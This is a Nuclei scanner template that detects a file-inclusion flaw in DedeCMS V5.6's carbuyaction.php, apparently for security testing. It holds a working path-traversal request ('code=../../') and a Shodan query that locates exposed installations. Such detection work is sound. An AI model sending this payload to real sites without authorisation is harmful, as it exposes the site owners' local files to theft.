id: dedecms-carbuyaction-fileinclude

info:
  name: DedeCmsV5.6 Carbuyaction Fileinclude
  author: pikpikcu
  severity: high
  description: A vulnerability in DedeCMS's 'carbuyaction.php' endpoint allows remote attackers to return the content of locally stored files via a vulnerability in the 'code' parameter.
  reference:
    - https://www.cnblogs.com/milantgh/p/3615986.html
  classification:
    cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"power by dedecms" || title:"dedecms"
  tags: dedecms

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/carbuyaction.php?dopost=return&code=../../'

    headers:
      Cookie: code=cod
    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Cod::respond()"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ba0198b85146a55b6527e735d55220f4f7810838bdc68aeac3a1662b8602558b0220130482c69ddfb48689e1c62b2405c7c00d5247359bc4c7f0fc14a833df6c2972:922c64590222798bb761d5b6d8e72950